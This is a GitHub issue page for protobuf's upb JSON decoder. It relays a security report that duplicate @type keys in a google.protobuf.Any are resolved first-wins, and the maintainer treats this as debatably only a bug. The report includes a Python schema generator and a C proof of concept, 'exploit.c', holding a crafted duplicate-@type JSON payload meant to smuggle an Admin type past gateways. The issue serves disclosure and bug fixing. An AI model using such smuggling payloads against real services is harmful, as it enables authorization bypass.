protocolbuffers / protocolbuffers/protobuf

upb JSON decoder: duplicate @type keys when parsed with ignore_unknowns, the first reached @type is used

Open
#28,632 5 comments 0 reactions 1 assignee View on GitHub

@tonyliaoss is already working on this.

Since Jul 21, 2026.

bug
Dominant language
C++
Stars
72k
Forks
16.3k
Avg merge
1d 17h
Merged PRs (30d)
140

Description

As reported by @mhmadqw909-cloud

This was reported via the security report channel, but this is only a bug (and debatably so, one possible resolution might be closing this as working-as-implemented-and-within-legal-spec-behavior), so I am moving it to the regular GH issues flow.

Summary
I have identified a parser differential vulnerability in the upb JSON decoder during the processing of google.protobuf.Any messages.

While standard JSON parsers (such as Node.js, Go, or upstream API Gateways) implement the standard "Last-Key-Wins" rule for duplicate keys in an object, the upb JSON parser (specifically inside jsondec_any() in upb/json/decode.c) locks onto the first @type key it encounters and discards any subsequent ones. This inconsistency leads to type confusion and can be used to bypass WAFs or API Gateways (Application-Layer Request Smuggling).

Steps to Reproduce
Since I am experiencing issues uploading files directly through the UI, I have pasted the exact, unmodified source code for both the schema generator (gen_schema.py) and the exploit simulation (exploit.c) below.

Step 1: Create gen_schema.py
Save the following python code exactly as gen_schema.py and run it to generate the compiled descriptor file (schema.pb):

import google.protobuf.descriptor_pb2 as descriptor_pb2

file_proto = descriptor_pb2.FileDescriptorProto()
file_proto.name = "security_schema.proto"
file_proto.package = "google.protobuf"

1. google.protobuf.Any (WKT)

any_msg = file_proto.message_type.add()
any_msg.name = "Any"
f1 = any_msg.field.add()
f1.name = "type_url"
f1.number = 1
f1.type = descriptor_pb2.FieldDescriptorProto.TYPE_STRING
f2 = any_msg.field.add()
f2.name = "value"
f2.number = 2
f2.type = descriptor_pb2.FieldDescriptorProto.TYPE_BYTES

2. Admin Message (Sensitive)

admin_msg = file_proto.message_type.add()
admin_msg.name = "Admin"
f1 = admin_msg.field.add()
f1.name = "admin_secret_key"
f1.number = 1
f1.type = descriptor_pb2.FieldDescriptorProto.TYPE_STRING

3. User Message (Public)

user_msg = file_proto.message_type.add()
user_msg.name = "User"
f1 = user_msg.field.add()
f1.name = "username"
f1.number = 1
f1.type = descriptor_pb2.FieldDescriptorProto.TYPE_STRING

4. Entry Point Container

container_msg = file_proto.message_type.add()
container_msg.name = "AuthRequest"
f1 = container_msg.field.add()
f1.name = "payload"
f1.number = 1
f1.type = descriptor_pb2.FieldDescriptorProto.TYPE_MESSAGE
f1.type_name = ".google.protobuf.Any"

with open("schema.pb", "wb") as f:
f.write(file_proto.SerializeToString())

Step 2: Create exploit.c
Save the following C code exactly as exploit.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* upb headers */
#include "upb/base/status.h"
#include "upb/json/decode.h"
#include "upb/reflection/def.h"
#include "upb/mem/arena.h"
#include "upb/message/message.h"
#include "upb/reflection/message.h"
#include "upb/wire/decode.h"

/* Symbol from upb/reflection/cmake/google/protobuf/descriptor.upb_minitable.c */
extern const upb_MiniTable google__protobuf__FileDescriptorProto_msg_init;

int main() {
printf("--- [EMPIRICAL EXPLOIT] upb JSON Any Type Confusion ---\n");

upb_Arena* arena = upb_Arena_New();
upb_DefPool* pool = upb_DefPool_New();
upb_Status status;
upb_Status_Clear(&status);

/* 1. Load the security schema */
FILE* f = fopen("schema.pb", "rb");
if (!f) { perror("Failed to open schema.pb"); return 1; }
fseek(f, 0, SEEK_END);
long size = ftell(f);
fseek(f, 0, SEEK_SET);
char* schema_data = malloc(size);
fread(schema_data, 1, size, f);
fclose(f);

/* Decode raw bytes into FileDescriptorProto */
upb_Message* fdp_msg = upb_Message_New(&google__protobuf__FileDescriptorProto_msg_init, arena);
if (upb_Decode(schema_data, size, fdp_msg, &google__protobuf__FileDescriptorProto_msg_init, NULL, 0, arena) != kUpb_DecodeStatus_Ok) {
    fprintf(stderr, "[-] Failed to decode descriptor.\n");
    return 1;
}

/* Add to DefPool */
if (!upb_DefPool_AddFile(pool, (const struct google_protobuf_FileDescriptorProto*)fdp_msg, &status)) {
    fprintf(stderr, "[-] Failed to add file to pool: %s\n", upb_Status_ErrorMessage(&status));
    return 1;
}

/* Get Message Definitions */
const upb_MessageDef* auth_req_m = upb_DefPool_FindMessageByName(pool, "google.protobuf.AuthRequest");
const upb_MessageDef* admin_m = upb_DefPool_FindMessageByName(pool, "google.protobuf.Admin");

/* 2. THE MALICIOUS PAYLOAD
 * Gateway sees: User (Last-wins)
 * upb Backend sees: Admin (First-wins)
 */
const char* malicious_json = 
    "{"
    "  \"payload\": {"
    "    \"@type\": \"[type.googleapis.com/google.protobuf.Admin](https://type.googleapis.com/google.protobuf.Admin)\","
    "    \"admin_secret_key\": \"PROVEN_BY_UPB_EXPLOIT_2026\","
    "    \"@type\": \"[type.googleapis.com/google.protobuf.User](https://type.googleapis.com/google.protobuf.User)\","
    "    \"username\": \"guest_user\""
    "  }"
    "}";

printf("[*] Attacker Payload (JSON):\n%s\n\n", malicious_json);

/* 3. Execute upb Decoding */
upb_Message* msg = upb_Message_New(upb_MessageDef_MiniTable(auth_req_m), arena);
bool ok = upb_JsonDecode(malicious_json, strlen(malicious_json), msg, auth_req_m, pool, upb_JsonDecode_IgnoreUnknown, arena, &status);

if (!ok) {
    printf("[-] upb rejected the payload: %s\n", upb_Status_ErrorMessage(&status));
} else {
    printf("[+] upb accepted the payload successfully!\n");

    /* 4. Empirical Proof: Unpack the Any and check the type */
    const upb_FieldDef* payload_f = upb_MessageDef_FindFieldByNumber(auth_req_m, 1);
    upb_Message* any_msg = (upb_Message*)upb_Message_GetFieldByDef(msg, payload_f).msg_val;
    
    const upb_MessageDef* any_m = upb_FieldDef_MessageSubDef(payload_f);
    upb_StringView resolved_type = upb_Message_GetFieldByDef(any_msg, upb_MessageDef_FindFieldByNumber(any_m, 1)).str_val;

    printf("[*] upb Resolved @type as: %.*s\n", (int)resolved_type.size, resolved_type.data);

    if (strstr(resolved_type.data, "Admin")) {
        printf("\n[!!!] EXPLOIT SUCCESS: TYPE CONFUSION PROVEN [!!!]\n");
        printf("[!] upb interpreted the object as ADMIN despite the later USER declaration.\n");

        /* Double-check: Extract Admin secret */
        /* The 'value' field in Any is field number 2 */
        upb_StringView value_bytes = upb_Message_GetFieldByDef(any_msg, upb_MessageDef_FindFieldByNumber(any_m, 2)).str_val;
        
        /* Decode the internal value bytes back into Admin message to prove integrity */
        upb_Message* decoded_admin = upb_Message_New(upb_MessageDef_MiniTable(admin_m), arena);
        if (upb_Decode(value_bytes.data, value_bytes.size, decoded_admin, upb_MessageDef_MiniTable(admin_m), NULL, 0, arena) == kUpb_DecodeStatus_Ok) {
            const upb_FieldDef* secret_f = upb_MessageDef_FindFieldByNumber(admin_m, 1);
            upb_StringView secret = upb_Message_GetFieldByDef(decoded_admin, secret_f).str_val;
            printf("[*] Exfiltrated Admin Secret: %.*s\n", (int)secret.size, secret.data);
        }
    }
}

upb_Arena_Free(arena);
upb_DefPool_Free(pool);
free(schema_data);
return 0;

}

Step 3: Compilation & Execution
​To compile and link the code locally against your libupb build:

Impact
​In microservice architectures where an upstream gateway or proxy (like Envoy, or a Node.js/Go proxy) routes incoming JSON requests to a backend using upb for decoding, this parser mismatch completely bypasses security filters.
​An attacker can craft a payload with duplicate @type keys—placing a restricted message type first (resolved by upb on the backend) and an unprivileged type last (resolved by the gateway proxy). This allows unauthenticated users to smuggle administrative/internal message types directly past the edge filters.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.